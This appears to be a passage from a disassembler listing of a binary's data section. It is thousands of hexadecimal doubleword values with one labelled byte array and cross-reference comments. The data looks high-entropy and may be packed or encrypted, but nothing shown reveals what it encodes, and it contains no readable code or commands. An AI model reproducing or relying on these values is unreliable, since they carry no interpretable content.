		dd 0A1C06EDBh, 0A491B50Ch, 1C290014h, 9A9631C1h, 0A2003E2Eh
		dd 0B4D19B4Ah, 62A98AAh, 4F1CD7BBh, 0DDF208B2h,	0A8E8A400h
		dd 526E9980h, 60714864h, 1726E100h, 222BB5B8h, 0D7B4980Fh
		dd 0F83700FCh, 0F46596h, 0AB92FD90h, 7D181FA3h,	2FB551C3h
		dd 8931061Dh, 18A637A1h, 1F0077F0h, 0CF52C951h,	184DC44Fh
		dd 98AC1B8Fh, 0A180B4A4h, 31B36F31h, 0F049A38Dh, 5830B5E8h
		dd 2C1F1120h, 6038A3BAh, 509071F2h, 0F083B04Bh,	28A15CA4h
		dd 22286B3Bh, 0B800A99Ch, 0E1F8FF34h, 0F8A37841h, 29BE60CFh
		dd 0D296E9B7h, 63A25F00h, 690B3D70h, 469100B1h,	1EC4711Ah
		dd 0C36330A1h, 302DD031h, 0D93E3A81h, 293ED1BFh, 4C178042h
		dd 0A3DE3B3Ch, 4F1D147Bh, 24295CE6h, 0BD158094h, 2FA114BCh
		dd 252CAB50h, 9CB5188h,	912DB048h, 81228385h, 0E18FDA53h
		dd 4817EDB5h, 0B745158Ch, 14D926C8h, 0D4D3549Dh, 5FAE21C4h
		dd 0A1151D01h, 7195D936h, 7700C878h, 0F4C74A9Dh, 2B3EE862h
		dd 90D9294Eh, 5E9D7980h, 0C2D2A6h, 0D09AF6A7h, 1C4E8B38h
		dd 50F8E126h, 0B1075006h, 1E2342E9h, 17C3A014h,	768B2C20h
		dd 0D3C61589h, 929D6095h, 25180079h, 563FA353h,	9620D1C3h
		dd 0B9B81017h, 99AA0A18h, 0B540ECADh, 52A16522h, 0EB186C33h
		dd 8D245020h, 0BDCC61C6h, 14690F21h, 0F006088h,	660A9CBCh
		dd 0A0AA7400h, 988726E6h, 65A201FAh, 3999FDEAh,	8C78A858h
		dd 0B991D731h, 0CF11B12Eh, 605980B2h, 0DCBE7A24h, 0A515126Ah
		dd 387004A3h, 0B0992185h, 0AF441816h, 50FD1877h, 0D054C13Bh
		dd 0D8A02C54h, 18293002h, 75B05B3Ah, 61754E41h,	7210D02Dh
		dd 8356CB38h, 2591901Fh, 0B023A9D8h, 1ACE99ACh,	48E491Eh
		dd 0AC5F1491h, 97A51148h, 4299B02h, 6C8049FDh, 3C78EEBDh
		dd 0CD4A5F1Ch, 853AA643h, 0C03100AFh, 0BEC3116Ch, 1D00338Fh
		dd 565142D2h
		dd 3778AD35h, 0E9905485h, 46C00884h, 0B9132D0h,	44860AD9h
		dd 0E38E8300h, 0F007552h, 606E3DEDh, 4C0EB093h,	0AB284B38h
		dd 64B850BCh, 3CAC4C24h, 75464D2h, 0CEAA2CD4h, 4191656Fh
		dd 543184A5h, 0DB4017CFh, 9690199Fh, 79B70A06h,	0D9A885h
		dd 502FAD43h, 0E3DB3BBDh, 935F9C00h, 8D85C43Ah,	77B7262Ah
		dd 0BB2D0C6Ch, 0F7046259h, 0D0EDB4A5h, 5E58C8h,	4559F665h
		dd 0A847CBB3h, 78577600h, 0AB3D2EFDh, 631F6FCh,	0CD679CEBh
		dd 0DC86504Dh, 17212443h, 20783100h, 2FD65B8h, 5875A188h
		dd 7DC0A367h, 0CF2AB726h, 4488889Bh, 0A600E0ABh, 38BB3C19h
		dd 35B9F207h, 8336CF81h, 0DCB055E6h, 180203E6h,	0E7F5DEBFh
		dd 0B1906056h, 29E8C9B0h, 40FCA016h, 58AD951Ch,	0ED5CE783h
		dd 7D9E88AFh, 0FB8E0039h, 0A259F388h, 57E632E1h, 347BD024h
		dd 802D158Ah, 20B75832h, 0ADEF242Bh, 568F3899h,	805200CCh
		dd 1E693FAh, 61EC5184h,	0FC2DEAD1h, 0DE021127h,	2B1FAF45h
		dd 0CF9C4926h, 5700A822h, 44101B37h, 46089B3Fh,	2B08477h
		dd 502ED61Ch, 8EE28768h, 897C4F31h, 6FCEBCDh, 4AAF15B2h
		dd 1A0028BDh, 8F09E8DBh, 57009A0Eh, 2095E726h, 39A1E984h
		dd 1735154h, 0B72407A6h, 60287CB9h, 0D089B66Ch,	754F22E2h
		dd 5F7B7EC0h, 0B8D958h,	3402CA4Eh, 0AB81152h, 0B2EDA9ECh
		dd 9DE4A1C0h, 971EC0D1h, 489DD366h, 468B2A01h, 0CE3E4361h
		dd 11C25440h, 0C78D2882h, 0C4390392h, 0B035A119h, 52712148h
		dd 0B89F30F8h, 373AA3h,	3EB80FEFh, 5FCBED77h, 0B3F40B16h
		dd 58850405h, 904FD449h, 713A80Ch, 0E4BC018Fh, 811FD52Ch
		dd 8922234h, 0B92660CFh, 36F2174Ah, 0C8907950h,	6A34F602h
		dd 0C192D31Eh, 29812B97h, 8E68CF01h, 0BE1D063h,	0A9D92900h
		dd 54E785FAh, 6C890357h, 53ACBFA2h, 0C6D7BEA0h,	0D5722607h
		dd 0D6A1C56Bh, 31F02B6Ch, 5EAC02F5h, 70340C35h,	9469C057h
		dd 10384C6Dh, 0A26B0F7Bh, 0A6693A47h, 0C4DED301h, 2984604Fh
		dd 8138676Fh, 25723DBEh, 77707DCh, 114CE1C5h, 0F57921C6h
		dd 0E36180ADh, 839D5403h, 0BE40674h, 593247C5h,	15ADD807h
		dd 0F3B024EBh, 817EBAh,	0F9E16A8h, 1C18302Ch, 0BABEA03Ah
		dd 0A7516397h, 0F98178E1h, 19801321h, 8ED6BFC6h, 340C6EB7h
		dd 299B211Bh, 14AD3A6Dh, 0C0036C40h, 0EFD6711Dh, 0A76B98D4h
		dd 513363E8h, 0A022FF86h, 32C60030h, 3EA1C34Ah,	75F2EC53h
		dd 28656D00h, 0ACC5079Dh, 0BFC402D6h, 63241AF6h, 0E4E38C93h
		dd 45E89E0h, 36018198h,	40173A0Dh, 4EEC370Bh, 0CD91C020h
		dd 0FA87014h, 5C61F600h, 21C0C62Fh, 11EE6EDh, 60F98D4Ch
		dd 51FD03C2h, 40903030h, 0D6562B7Ch, 480AFE0Ch,	787B925h
		dd 0F7B45A1h, 0DE7E91D8h, 4977E004h, 808BBC00h,	5E3B8C4Eh
		dd 2C1B1140h, 0B36D0A67h, 0C540940Eh, 0C0154EBFh, 0CB6A8F11h
		dd 0F500052Eh, 0C64678ABh, 3AF2B6BEh, 89302D72h, 4D6C6E30h
		dd 8516D60h, 7B3601A5h,	81AC0F2Bh, 9DE748Eh, 401AA277h
		dd 0AFD39D80h, 5601A798h, 73C00594h, 0EADCA61Ch, 7720281Ah
		dd 66E7147Ch, 0A200304Eh, 3F0139D8h, 0A100CE98h, 574CD95Dh
		dd 0D69EDB6h, 1BB86DC5h, 71B6B0C1h, 2F3A66h, 6122D812h
		dd 0AC4ACC41h, 0E239F803h, 223D0879h, 8C0711F8h, 2030D6F1h
		dd 795FA6h, 0BBF6B6B8h,	3A122733h, 0C6AC5806h, 1210F037h
		dd 141BF3Eh, 0C778DF34h, 0ECD6D518h, 3A44486Dh,	0C51F0229h
		dd 778F45BEh, 0D2906440h, 7316140h, 370538EAh, 0FC6C60D4h
		dd 0D30C68BDh, 412C468Dh, 1CBF03ABh, 16182BEDh,	0F0035CE0h
		dd 0AD6BD0Ah, 171892B1h, 0C995C1h, 7E03A2F9h, 47E20F24h
		dd 22A8CB48h, 6A4D2296h, 58B61618h, 7CE3AAAh, 9506BA8Bh
		dd 6AC85D6h, 399FF528h,	17D5F00h, 4E94E09Dh, 0AB21C718h
		dd 20638052h, 6F03C491h, 9F9EF1BDh, 0A1E1C6F4h,	0D5102FB8h
		dd 0ACA4251Ah, 9658DF00h, 6D1F0B76h, 301E14ABh,	3D285491h
		dd 4D08188Ch, 0B96D3181h, 5790D60h, 14292623h, 106B251Bh
		dd 7C12AC11h, 47342050h, 0C40AF624h, 0E1953D00h, 190B415Ah
		dd 83E6AB1h, 942C3066h,	46E92484h, 1FE06F58h, 2A797141h
		dd 1D62D700h, 3D4340C0h, 0A0934947h, 403C4E24h,	1933F5D1h
		dd 2CCFDB00h, 0FDBD8A96h, 17B1ED7h, 0A6CC4211h,	88A71CE2h
		dd 9A395C4Eh, 9719A200h, 0D2079C6Fh, 4B0C3CC6h,	0C87BEA00h
		dd 6079F55Ch, 423E90CFh, 88C607FAh, 8D007888h, 1363375Bh
		dd 0ACC41CAEh, 0A96DDDDFh, 9EF50CD4h, 50B8A0D1h, 21561C02h
		dd 609F4578h, 88A41904h, 2C90592Bh, 8F309480h, 18CAA52h
		dd 0D9D3C118h, 3BD87F61h, 6CE10551h, 239DE23h, 0BFDE2F4h
		dd 30C26C98h, 24E3A507h, 0A818A99h, 0DD60FC1Eh,	2442E679h
		dd 548B78Fh, 2278221Bh,	90A02DD8h, 0FF2188FAh, 39B9E002h
		dd 90544E3Ah, 886025F0h, 0B407D5Ah, 21F56F40h, 757A3680h
		dd 8507228Dh, 6C6B2345h, 0F8B0B950h, 30C458BBh,	4036DFC4h
		dd 0BF0AFF3Dh, 950300B6h, 0C0624476h, 6D0D66E9h, 683F414Dh
		dd 0CBFEC4Ch, 4726D6B5h, 2F96EC8h, 132511C9h, 0DAC5D080h
		dd 92CE00DBh, 0B204E344h, 6901E0EEh, 8BB430C3h,	80216496h
		dd 0EDA722F2h, 4D4A4C80h, 0F800EA3Ah, 80C4C60Fh, 60481608h
		dd 0EC072123h, 18079BA7h, 0D2DE1BF4h, 1FB419C0h, 32FC016Eh
		dd 0E9C4CC17h, 56C6D4E0h, 98D5B513h, 0A5D77C04h, 0DC09C10h
		dd 1D69EABCh, 0E0F4E200h, 17E930B0h, 0D73C07FCh, 9662DF96h
		dd 60923993h, 704759DFh, 2A04AF8Bh, 6ACCA08Dh, 0CBCD0067h
		dd 5CD9DF8Eh, 93634EC0h, 0A82B0171h, 48A76C39h,	0C452741Dh
		dd 29B4C00h, 1F248E29h,	12CC7907h, 9947D714h, 0E06F2012h
		dd 0B0AA6B7Ch, 4CD33CC0h, 3EBCD4h, 0FD7CE502h, 0DFEE7517h
		dd 0F970C100h, 0F8B3CDFCh, 278BABFh, 0A0F7B456h, 0A4A03847h
		dd 365FABE2h, 33D62F1Dh, 0A31BC0C0h, 0D33BBA6Dh, 647808B1h
		dd 33B98E80h, 12ACA9EDh, 30BEC4D7h, 4A99657Ch, 42007B72h
		dd 73C24F9Fh, 4DA2B3h, 6C814E50h, 72A12C26h, 0D45A2B2Eh
		dd 0C1CE51Dh, 2F0C5D4h,	0AEBF8CA6h, 69E17568h, 30A84994h
		dd 1A26D6C4h, 0BF44702Bh, 0BB01808Ch, 0EFB6071Ch, 0F072A7E9h
		dd 0B7445AC5h, 3644E6F8h, 0AEF5173Eh, 3054135Bh, 8E162A0Ch
		dd 20C85F00h, 0B0EA4625h, 20C44ACAh, 36E4DC10h,	0D4D98218h
		dd 0B006ACB0h, 0FE571680h, 14E80C3Ah, 16544D80h, 0B000A88h
		dd 0A2FF92ADh, 72E8E7CAh, 0C86F5CF8h, 1C42152Ch, 21B28CD1h
		dd 9561F531h, 5857AFF1h, 47D2F680h, 89902523h, 77C5CC01h
		dd 4B2B84C4h, 0B7EB073h, 0A9672E02h, 1119EF00h,	43774176h
		dd 107C1B1Dh, 0B7F8240h, 0B15B628Fh, 0D7E88064h, 0E18A6A20h
		dd 38A3B802h, 841423C7h, 0D4073F8h, 8B550777h, 62CE0900h
		dd 2368015Ah, 80E707F3h, 0E0B6FB91h, 13FAE9ACh,	7A7EB2C0h
		dd 4AE73469h, 0E33C306Ch, 991FC564h, 0E00917FAh, 4A9CA0BDh
		dd 906EE147h, 4DC844B0h, 0CD817265h, 9F4F14C0h,	0E2B2009Ch
		dd 0CE9E5F6Ch, 83017DEAh, 0D1BF429Ah, 0B862EBA6h, 23C0E858h
		dd 0CDBE0977h, 5DA8F0Fh, 41A4E6DCh, 22A89029h, 1CA06D23h
		dd 0E21B3DDFh, 0E4B83005h, 0DCF4D643h, 0E933997Ch, 0E2D51921h
		dd 15DF2092h, 0B973B622h, 66BDEB00h, 106F73F3h,	84E00040h
		dd 5D458928h, 7813BFD8h, 0E4243A51h, 250D58C2h,	0D5A00005h
		dd 9756256Ch, 7F200C07h
		dd 847995D6h, 30522220h, 3934D218h, 2B10CF03h, 802809BFh
		dd 525DC7Fh, 1F78AE4h, 96F4CCC0h, 7109291Ch, 17842B54h
		dd 24322E1Bh, 82919B3h,	0C4E5027h, 0B1F0076Dh, 628EE995h
		dd 0F5231DB8h, 0DC9100A9h, 8CF1CDFAh, 26037BEEh, 2855933Ch
		dd 18685C64h, 848E540Bh, 520FE404h, 0D6290802h,	0AC5160h
		dd 0BBA7FC1Fh, 0B213CF8Fh, 2E013375h, 974DDC88h, 782C6ED5h
		dd 61261B82h, 8ED6E490h, 0D0817490h, 2D6B109Eh,	9F071341h
		dd 91F10C53h, 0BA006719h, 0F3E69D0Fh, 0D145ECh,	34D60833h
		dd 8E1813A0h, 4B20FD0Ah, 0F418CCC5h, 48EE0C71h,	410057C6h
		dd 0F681147Dh, 0B7027583h, 1591F1Dh, 0E8C6C5h, 94EEE64Ch
		dd 846DD02Bh, 66884D7Ch, 11490225h, 0D5648FE7h,	4E37CC81h
		dd 5321801Ah, 0E7D6FBEh, 9CA1004Ch, 0CCA519C4h,	0BF0B85D4h
		dd 6D3F4Ah, 0BDCF0A08h,	0B06B50D6h, 0C2440364h,	4D177CC4h
		dd 0A6E704C8h, 792BDE30h, 2DD5DD5h, 97BE4BDFh, 0F4C118A4h
		dd 51A0506Ch, 533EE661h, 0C9B08092h, 4BC2CF5Fh,	69AE2584h
		dd 2D4D04B9h, 0FB4E00ACh, 97A88617h, 0E19638E8h, 1410905Dh
		dd 21F44C0Eh, 37E508AAh, 0AC8D29BEh, 409E2300h,	0C184211Bh
		dd 0D3B45759h, 80583891h, 3322898h, 86D00040h, 9D60E712h
		dd 8902AC3Ch, 0CA4E567Bh, 5CFC5836h, 0CD69828h,	9070A238h
		dd 583E8744h, 0F3808448h, 1DB367FEh, 0E17EFD04h, 0C0A017C0h
		dd 98888A24h, 2C683228h, 0F68F3453h, 0D3049C96h, 28A0FCDCh
		dd 5F8F053Eh, 0CC953073h, 0CC4A4820h, 0B34AD00Bh, 6D42DCA4h
		dd 3C8218ABh, 8E29651Fh, 39659118h, 0E1980837h,	0F189BE80h
		dd 523057C5h, 1278AC97h, 20F4F6BFh, 0EB5846D4h,	9AC16003h
		dd 0C770F837h, 4CD14055h, 0A8632D1Bh, 24F1AB17h, 0CFCC8CA4h
		dd 0A3895400h, 0C424F6F4h, 0D68B0079h, 2319FC2Fh, 0B30AE927h
		dd 24174D6Eh, 0DD03E604h, 0E80CDCF5h, 4BBC1D09h, 0E5AA00C7h
		dd 87BDADAFh, 39CED06h,	4579EA30h, 48DE306Bh, 0BC276C09h
		dd 1303FFA8h, 0C4D24CC9h, 974128C8h, 4A74D8B8h,	0AC6AD724h
		dd 0FC74F801h, 0C01ACF3h, 5A1360DDh, 14F6D200h,	0D6BF56DBh
		dd 7DF49066h, 8F5C884Dh, 70348900h, 1FF5E961h, 0FB4903Eh
		dd 3062D736h, 593E8F4h,	85114C1Ch, 1B60C86Ch, 0C8B0274Ch
		dd 222264AFh, 45B8E6E1h, 682AE01Eh, 4888BE89h, 0BF925F28h
		dd 5E8A8C81h, 6C3C25F1h, 0E7C3B788h, 60A5E2E1h,	1326CA5Ch
		dd 522C8F8Ah, 0A2C45964h, 0C3F89278h, 0A70B9842h, 96E052EDh
		dd 7FB960B0h, 9077DF6h,	4C55490Eh, 83117ED2h, 0FB16CF38h
		dd 0DB71F90Fh, 300A33E0h, 56211F4Eh, 0EA1D3B42h, 9A405D72h
		dd 0D2540F4Fh, 0F2EB005Ah, 87AC797Fh, 386BEE4Eh, 0DF1C0288h
		dd 2BD82A35h, 8E113C64h, 0E7A717AEh, 9AD83026h,	0C8A66Ch
		dd 0D8F3FAD2h, 0D4DC592Ah, 8E744C4Ch, 0C657A0B3h, 254A198h
		dd 1F3EE9BCh, 0EC842C32h, 19C640A9h, 7C5BAE9Fh,	449A54B4h
		dd 80C0B921h, 1989FCAFh, 1001761h, 0DBADF1DEh, 3A3CBF4Bh
		dd 1F80540Ah, 0C65BCAD6h, 0D22EACC4h, 5CC030A6h, 9928E3A7h
		dd 53959188h, 54BB007Ch, 0CD323755h, 62600292h,	0B18F1D26h
		dd 0D6581CC8h, 8948F348h, 65F087DCh, 803775B2h,	7243E9F8h
		dd 5D5200FCh, 9BEC3D6Dh, 20CB1350h, 878810F5h, 0ADA10027h
		dd 508AD33Ah, 120398B3h, 0D2C34B01h, 0A8B9AB53h, 9EC2FE23h
		dd 212A4440h, 24087725h, 9F43D1C3h, 0EF26B851h,	5D071F58h
		dd 614740BBh, 3C3E30C5h, 0BEADE40Ah, 0E6088441h, 6CDD8135h
		dd 883AE24Eh, 0BE26AF69h, 4E181452h, 0D6CE1919h, 1EE5EE03h
		dd 0E015E439h, 96D167Fh, 2CE9C565h, 52739484h, 0A51F4030h
		dd 5D83A063h, 87510F23h, 6B20E03Ah, 76997733h, 0DD4D0414h
		dd 7CB02E78h, 82EC8459h, 458000A1h, 0D92C6336h,	0A302A0EAh
		dd 7B0139A9h, 0B55C411Fh, 0DC5A4D12h, 0D80DBF30h, 3C23EFFAh
		dd 0E384FD1Bh, 0C29ADC70h, 94C448A6h, 9B990A03h, 16046FEDh
		dd 306C2558h, 8CB06BDCh, 0CBCCAC00h, 0F354BD42h, 2927BBAh
		dd 6E6546D6h, 10F117B3h, 6D6FE904h, 2F57308Ch, 2018544Eh
		dd 0C418CC7Bh, 3E810247h, 6E1C0099h, 53A023AEh,	3C18DF40h
		dd 30211248h, 0A870B19Bh, 2A411630h, 26500476h,	5AC2065h
		dd 0D6B705D3h, 0E448530Ah, 6F3BFB94h, 0FF300054h, 1E55E8C0h
		dd 3A98009Bh, 7015C667h, 4CB1291Bh, 497EC400h, 5C3EC00Eh
		dd 1E3E3465h, 0FDCC4C41h, 0AB00E979h, 0B54D4401h, 3C707Fh
		dd 0F8979FEBh, 2A998521h, 0C663F709h, 0A58C0EE9h, 0D2C386BFh
		dd 0D9693D69h, 27DAAE8Fh, 0C6CD1261h, 11DC2C72h, 1B1226B4h
		dd 0F62C2C23h, 9726C000h, 0B0455C0Fh, 0BC8008Dh, 96226FA4h
		dd 0D8B651E9h, 0BFB2F240h, 66A302C1h, 5768BCBEh, 0F5881453h
		dd 63E4A6EBh, 0B1E04A83h, 7A03760Bh, 40300A67h,	0E2C09AF7h
		dd 54C81800h, 0A76B12D5h, 0A20494E4h, 0AC4C020Ch, 0C07CE38Ch
		dd 4CF16C0Ch, 9611B49Bh, 47C6089Ah, 21158023h, 85AEF91Ch
		dd 0A00E3F0h, 0CE130EA5h, 849AE9h, 46264F22h, 19296D49h
		dd 909EF909h, 48800864h, 13E88527h, 8532DC08h, 882C1AD5h
		dd 373B1D74h, 0D668809Ch, 0D72D256Bh, 80DA50B3h, 6E2F1496h
		dd 6D8B90B5h, 6C387800h, 413D4825h, 0AB920BB2h,	0FA5C82D2h
		dd 7FBC6017h, 0AE9504A2h, 0F12D6CDEh, 43F080C0h, 0B01D01F7h
		dd 64FF095Eh, 48C096D6h, 0C688AC98h, 1AE02DB5h,	0AEBFB090h
		dd 0F8AA5329h, 0EB8D4680h, 0EA150154h, 0F09F01BFh, 69C1A305h
		dd 1FF09244h, 2262D830h, 93E1DF5h, 7DC6405Fh, 5681A447h
		dd 849658C9h, 0D85819ACh, 0CD012B27h, 8CD7BC52h, 249C785Dh
		dd 23B68BC5h, 11702C99h, 998F3147h, 3B20D754h, 11ABDB0Dh
		dd 0BDE81E04h, 0FCCC6E2Ah, 405100EDh, 762DB69h,	0FE7BD4B5h
		dd 0E1247600h, 3F59778Bh, 63B426D0h, 0C801135Ch, 5C012D10h
		dd 0B8BCDB2Bh, 0C9E09438h, 52B30029h, 85B623D2h, 0B72F791Ah
		dd 401812BEh, 0E6594ABh, 386DC4D4h, 0CB815A0h, 2C7F1B89h
		dd 82419100h, 53DF1225h, 25B3EACDh, 0C0188D75h,	0C11A405Ah
		dd 79287BE0h, 5B040050h, 4A3789F0h, 0E9219901h,	0BEA01FBAh
		dd 73E79C47h, 0B088F4F5h, 9AFA0089h, 628AF32h, 8330229Bh
		dd 0F054FCA1h, 5DC412EEh, 70F00865h, 0E5B26D8Bh, 762414h
		dd 85ECAF50h, 0D09CF4E3h, 0F1DF6580h, 0F516B4h,	0BD57EDFAh
		dd 0CB67C711h, 690FC478h, 56E2ABECh, 4526D443h,	0BED5A1E7h
		dd 6006433h, 0B8FAC1DFh, 100EE83Dh, 0AD496Fh, 0B9FE82A4h
		dd 96470123h, 0DFF66BD9h, 0C053D8D7h, 0AFF4D625h, 9AAD60B8h
		dd 3225603h, 1B28C7F6h,	0B2C50ADEh, 0E48A00ECh,	66B85573h
		dd 0B06E143Dh, 0AD227419h, 33B7A000h, 3ED9820Dh, 0E1291EAFh
		dd 8090D367h, 57512560h, 4A004C74h, 0BAE093D3h,	2DA707D6h
		dd 9880F515h, 0BF748858h, 1E4F848h, 0A6E4ACC0h,	24632DE5h
		dd 0C658A422h, 0D36B0E87h, 3E6764E9h, 0A13D6CC3h, 0C4624EB9h
		dd 465B1Ch, 7B5CF29Dh, 160072D7h, 4FE2B7E7h, 6A24045h
		dd 943021A3h, 0F09159A7h, 85877580h, 5DF3FFh, 9C2BD49Eh
		dd 0B62FF06Ch, 0CF1397EEh, 3000424Fh, 6E92F9B3h, 0C6040B37h
		dd 44E4AD6Dh, 0BBA73600h, 0B6C4E447h, 0D87D02DFh, 223D6CD6h
		dd 4C4154A0h, 2500D09Ah, 0AF590D99h, 245C4Dh, 29201C4h
		dd 415AD546h, 4CC65E3Bh, 0AE37812Ch, 3BC89BBCh,	7FE201DDh
		dd 7A4E50E9h, 6DE0FCAFh
		dd 73F09D00h, 0BECF69F6h, 0C56A18D6h
		db 46h
byte_530055	db 0E1h, 5Eh, 0DBh	; DATA XREF: ___:off_43859Co
					; ___:off_4385B4o
		dd 44C8C3Eh, 47A02254h,	0EC07B0A9h, 70597618h, 0ACEB8113h
		dd 54114616h, 0E35C0C30h, 944909EEh, 0D080BED4h, 8C3059EFh
		dd 0E8408494h, 172B6D42h, 811F52E1h, 8958FE8h, 7938A2E8h
		dd 27BF0024h, 4B11569Bh, 0E48000B9h, 877DA1Dh, 0AF9C01EAh
		dd 0BAB371C5h, 0ACC8D48Dh, 6EE24DFAh, 90CA88h, 0DBA083A9h
		dd 774E6654h, 0B9B4701h, 402FAF3Fh, 8D27B096h, 80002C0Ch
		dd 86F64752h, 0AAC33882h, 0DB543682h, 0F042DC6Ch, 22112C79h
		dd 9C806B8Bh, 372B725Bh, 7D2410F0h, 0AE92548Eh,	89D7640Bh
		dd 814C9817h, 0B400F5Dh, 8E8253B7h, 58627249h, 1036C461h
		dd 9C6664Ah, 0DD04D656h, 72C95481h, 40CEE158h, 2B5D46B0h
		dd 16CD2D58h, 74D047D5h, 0B5DACFh, 0D2F81932h, 0AA2BBF94h
		dd 0F23F040Ah, 7660F4D3h, 326F4C6h, 0C78EBAADh,	8285B8B0h
		dd 1B2213A0h, 5CAC642Ah, 0C1A13C53h, 209715EFh,	69E889C8h
		dd 4E373404h, 7B8601F5h, 0BFF0B2D2h, 0F46C58DDh, 4E016D04h
		dd 5C24A8EEh, 0EC7F8068h, 9878269Fh, 4A302CCBh,	0E5546048h
		dd 7B2E85DDh, 700963Dh,	0B1A55DF1h, 8AE6004Ch, 0ED43C2DCh
		dd 3890502Eh, 0E4129E42h, 90CDC23h, 9007FA07h, 2E40327Ch
		dd 5BA2439h, 212B78A4h,	0C8C0133Eh, 0A200C3D8h,	0D23894CCh
		dd 2302522h, 0DEC065CBh, 0B871211Ah, 0B890B211h, 8FFA55C0h
		dd 1A00CACEh, 0BEAE846Bh, 48302229h, 30934092h,	0B2162658h
		dd 162DFC3Fh, 34204CCCh, 77C0F1h, 0C20275D4h, 0B6ACFC5Eh
		dd 112F5B02h, 0F1C1E231h, 5DA300E4h, 5C72F592h,	5A01CA75h
		dd 977EAD37h, 71D0BF66h, 25C62E2Ch, 1AE405C8h, 8CE816B5h
		dd 7600EC68h, 0F5FA2F28h, 2B3E39h, 0A3A97010h, 588C67D4h
		dd 18D6042Ch, 30005B16h, 91B25465h, 27411771h, 0B6083012h
		dd 565BA572h, 680057FCh, 4B380F9Bh, 841F525Ch, 0E89E18Fh
		dd 2260507Dh, 0C60E6E4Dh, 56AEB589h, 900A113h, 803304Eh
		dd 0D7022EF9h, 5910BB8h, 0E2A7F820h, 30970C29h,	6AC544h
		dd 0E7909DFEh, 7150FC56h, 2C68B706h, 23B0EE87h,	669E42E1h
		dd 3D1418C0h, 3C656Fh, 67832650h, 2F0A9EE2h, 0FBCAC205h
		dd 380047E9h, 0C76B9FF7h, 0E7A700F0h, 827D7EFEh, 2DE61109h
		dd 6FF14C06h, 7EB0083Ah, 20ED8841h, 55993088h, 4410BC9Dh
		dd 5A28708h, 0D1E5DB98h, 9359C02Fh, 5100108Dh, 0A3808F4Dh
		dd 0C016BD90h, 95D55E31h, 7D09C547h, 72C041CBh,	0DB733B4h
		dd 1CD85D21h, 0DD4A5F3Fh, 2BC5420h, 45740050h, 43BD91B8h
		dd 98046426h, 0BFCAE883h, 29AEF0C2h, 0ECDA58C1h, 6D0470E9h
		dd 2F5AE460h, 6BE7F4C0h, 67A800F7h, 0CDBF8005h,	230175EAh
		dd 1437048Eh, 28A428FAh, 4FF709C4h, 41C26C8Eh, 0CCE698D6h
		dd 74B36D2Eh, 0C84C25h,	0B8631C55h, 0E18B0B37h,	3CB8F01h
		dd 824021C6h, 0B96E56E8h, 0BDC0CEC4h, 10F2C162h, 0C56BE513h
		dd 344C8h, 40E36EA9h, 0DA5B72F0h, 6C901F00h, 7E7C585Ch
		dd 3BB10E8Dh, 2C9FB2ECh, 0D04025F4h, 35179778h,	28C8E6C0h
		dd 1EBD0051h, 8F2A03DDh, 5709A276h, 0A2960BCDh,	0A0704E08h
		dd 3B113D4h, 4BB00075h,	97A7AE7Eh, 21053F5Dh, 0F2284C79h
		dd 0D007B4A2h, 70CA12C1h, 64D833E1h, 0DC8BF500h, 999BFE71h
		dd 6AACA06Dh, 316B882Bh, 486C123Eh, 4995C124h, 82E8AEDDh
		dd 36B003Ch, 4FC97B99h,	0E4008ED3h, 433EB158h, 4CDC40C0h
		dd 9980444Ch, 97308AE2h, 50C9AC09h, 0EA5C227Eh,	4D5222Eh
		dd 0D60200CCh, 309AB70Eh, 49985E95h, 0FC7280B0h, 9878492Fh
		dd 0B1AD30h, 4AEA92FDh,	968C8AE0h, 95296A01h, 5F3DD3B6h
		dd 3222EC69h, 80C84E58h, 87C0E467h, 16B01EAh, 82DED2E7h
		dd 7CD06515h, 0E35280FCh, 76884Ch, 1F0A150h, 1AE6FC29h
		dd 0ACE49CA2h, 0CC004874h, 1FD093F5h, 301B4Bh, 50A15267h
		dd 0BBE5C93Ah, 97876304h, 0DC87BEA3h, 20268148h, 63251AC2h
		dd 16D6019Ch, 4FB96E66h, 2C6C6184h, 0D9D4CC34h,	6D89C700h
		dd 206ED8FEh, 79367172h, 60B09CB6h, 0A15DF0FFh,	6C8639h
		dd 99A3BFBCh, 90A5B7F3h, 0F2DF0603h, 3139E0A6h,	93FD75Ch
		dd 0E096D62Bh, 1FC504B0h, 6C0FF4E7h, 0EA020400h, 90948281h
		dd 2DEECE20h, 2999DE2Fh, 0F747E104h, 90108710h,	0BEC0FA0Bh
		dd 707F19DEh, 5DFB1E9Eh, 810F00BDh, 54F3FDA4h, 20032570h
		dd 0F6339441h, 0BD0CE95Bh, 2A9BD8h, 0B7C4F0Fh, 0D4BE8EAAh
		dd 0CC391100h, 342F638h, 670D0585h, 0F9E778h, 0DBDCE9A5h
		dd 0F27792DEh, 0D7ECF8F2h, 43A42900h, 0B8FB902Bh, 268D01C1h
		dd 5D22A8Eh, 0D339C898h, 0B3B65A0Fh, 0D93680C5h, 5787E0h
		dd 0BCE93F32h, 0CC6A3B59h, 130350Ch, 0E2695Dh, 865B1C88h
		dd 0E650485h, 68F47F00h, 0CB7C42CEh, 349B00EFh,	0D7D22B0Fh
		dd 0AC07D9D5h, 468F66FCh, 0C8A7A110h, 7F040E94h, 22C0D8A8h
		dd 67F95DE0h, 1DF87103h, 0F055421Bh, 0F53FC0h, 0D9B61AB3h
		dd 8BCD5932h, 0F0002F70h, 0C2900BCAh, 195E84Dh,	4494C6A7h
		dd 8048AB14h, 363B8278h, 0EA16530Ch, 68C500A2h,	0E9950D3Ah
		dd 107967ECh, 5BF97E00h, 92015652h, 2DED13EBh, 40E91C6Bh
		dd 63330CF2h, 4C007C8Fh, 1D397971h, 1646CE18h, 113ECB02h
		dd 9B28FC7Ch, 0F68B80C8h, 0D76B00F2h, 44A358DAh, 53307CFDh
		dd 16CA4011h, 0A89800BEh, 477F20B4h, 6F3FA597h,	8483280Eh
		dd 4E1F581Ah, 19B660D0h, 36C985Dh, 0A2E35054h, 7807C7D0h
		dd 1DE65260h, 8F5AA5EEh, 3B94088h, 82DB371Ch, 74D80B9Dh
		dd 3405F4D8h, 884FB2CFh, 3637E400h, 60AFE9h, 0C116AC0Dh
		dd 46F3C8D7h, 1C258h, 7518C687h, 0FEB42CFh, 2666A8AAh
		dd 0E62A25h, 787D12D7h,	731D6FC3h, 5303E965h, 0B950CA06h
		dd 5FC0DC74h, 18EA7172h, 0E42AD486h, 8C0B32F1h,	1855DAh
		dd 83011015h, 0A1E3001Ch, 5ACA8EA3h, 413F69CCh,	0A08A8E9Bh
		dd 28F745DFh, 0BA248F80h, 98991DC1h, 0EE07FC5Bh, 8096FAB9h
		dd 496FC058h, 0BE6E3E3Eh, 0CB330023h, 0AEB8545Eh, 26C5008Bh
